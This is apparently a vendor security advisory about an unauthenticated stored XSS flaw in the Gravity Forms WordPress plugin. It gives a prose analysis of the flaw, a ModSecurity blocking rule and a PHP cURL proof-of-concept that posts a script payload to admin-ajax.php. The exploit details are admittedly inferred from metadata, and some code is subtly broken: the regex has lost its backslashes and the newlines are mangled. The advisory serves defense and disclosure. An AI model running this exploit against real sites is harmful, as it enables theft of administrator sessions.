Atomic Edge analysis of CVE-2026-5111 (metadata-based): This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the Gravity Forms plugin for WordPress versions up to and including 2.10.0. The attack targets hidden product fields nested within repeater (repeating section) fields. An attacker can inject arbitrary JavaScript that executes when an administrator views submitted entry details. The CVSS score of 7.2 reflects network-based exploitation with no privileges required, but only partial impact to confidentiality and integrity due to the need for admin interaction.
Root Cause: Based on the CWE-79 classification and the vulnerability description, the root cause is insufficient input validation and output escaping of the product name value in hidden product fields when used inside repeater fields. The description indicates that the Hidden Product field’s validate() method only checks the quantity field, leaving the product name value unvalidated. This value is then output without escaping in the get_value_entry_detail() method. Atomic Edge analysis infers that the repeater subfields bypass normal state validation checks, allowing the product name field to accept arbitrary input. This is a confirmed vulnerability per the metadata, though no code diff is available to verify the exact implementation.
Exploitation: An unauthenticated attacker can submit a form containing a hidden product field inside a repeater. The attacker would craft a product name value containing a malicious JavaScript payload, such as alert(document.cookie). The form submission endpoint is typically /wp-admin/admin-ajax.php with an action parameter like gravityforms_submit_form (or similar). The attacker does not need authentication or a valid nonce because the vulnerability exists in unauthenticated form submission handling. The payload is stored in the database and triggers when an administrator views the entry details page (e.g., /wp-admin/admin.php?page=gf_entries&id=FORM_ID&view=entry&lid=ENTRY_ID).
Remediation: The fix in version 2.10.1 likely involves two changes: first, adding input validation to the Hidden Product field’s validate() method to also check the product name value; second, applying output escaping (e.g., using esc_html() or wp_kses()) when rendering the product name in get_value_entry_detail(). Atomic Edge analysis recommends that the plugin escape all output related to custom product fields and validate the product name to block HTML or script tags.
Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an administrator’s session. This can lead to theft of admin session cookies, redirection to malicious sites, modification of plugin settings, creation of new admin accounts, or injection of backdoors in subsequent rendered pages. The stored XSS persists until the entry is deleted or the payload is manually removed.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5111 (metadata-based)
# Blocks exploitation attempts targeting the product name parameter in hidden product fields within repeater subfields.
# This rule targets the AJAX submission endpoint with signs of XSS in the product name parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20265111,phase:2,deny,status:403,chain,msg:'CVE-2026-5111 - Gravity Forms Stored XSS via Hidden Product Field',severity:'CRITICAL',tag:'CVE-2026-5111'"
SecRule ARGS_POST:action "@streq gravityforms_submit_form" "chain"
SecRule ARGS_POST:/^input_d+_d+$/ "@rx <[^>]*script" "chain"
SecRule ARGS_POST:/.*product.*/ "@rx ." ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5111 - Gravity Forms <= 2.10.0 - Unauthenticated Stored XSS via Hidden Product Field in Repeater
// Configuration: Set the target URL of the WordPress site
$target_url = 'https://example.com';
// The AJAX endpoint for Gravity Forms submission
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The action parameter used by Gravity Forms for form submissions
$action = 'gravityforms_submit_form'; // Common action name; may need adjustment if different
// XSS payload injected into the hidden product field's product name
$payload = '<script>alert(document.cookie);</script>';
// Construct the POST data mimicking a form submission with a repeater containing a hidden product field
$post_data = array(
'action' => $action,
'gform_submit' => '1',
'gform_form_id' => '1', // Replace with a form ID that has a repeater with a hidden product field
// Simulate the repeater subfield structure. The subfield IDs must match the form's field configuration.
// 'input_1_1' is assumed to be the hidden product field's product name inside the repeater.
'input_1_1' => $payload,
// The '_no_conflict_' parameter may be required to bypass Gravity Forms nonce checks
'gform_field_values' => '',
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Atomic-Edge-Research-PoC',
'Referer: ' . $target_url . '/', // Optional: mimics browser referrer
));
// Optional: disable SSL verification for testing with self-signed certificates
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results for debugging
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
echo "[+] Exploit submitted. The payload will execute when an admin views the entry details.n";
?>
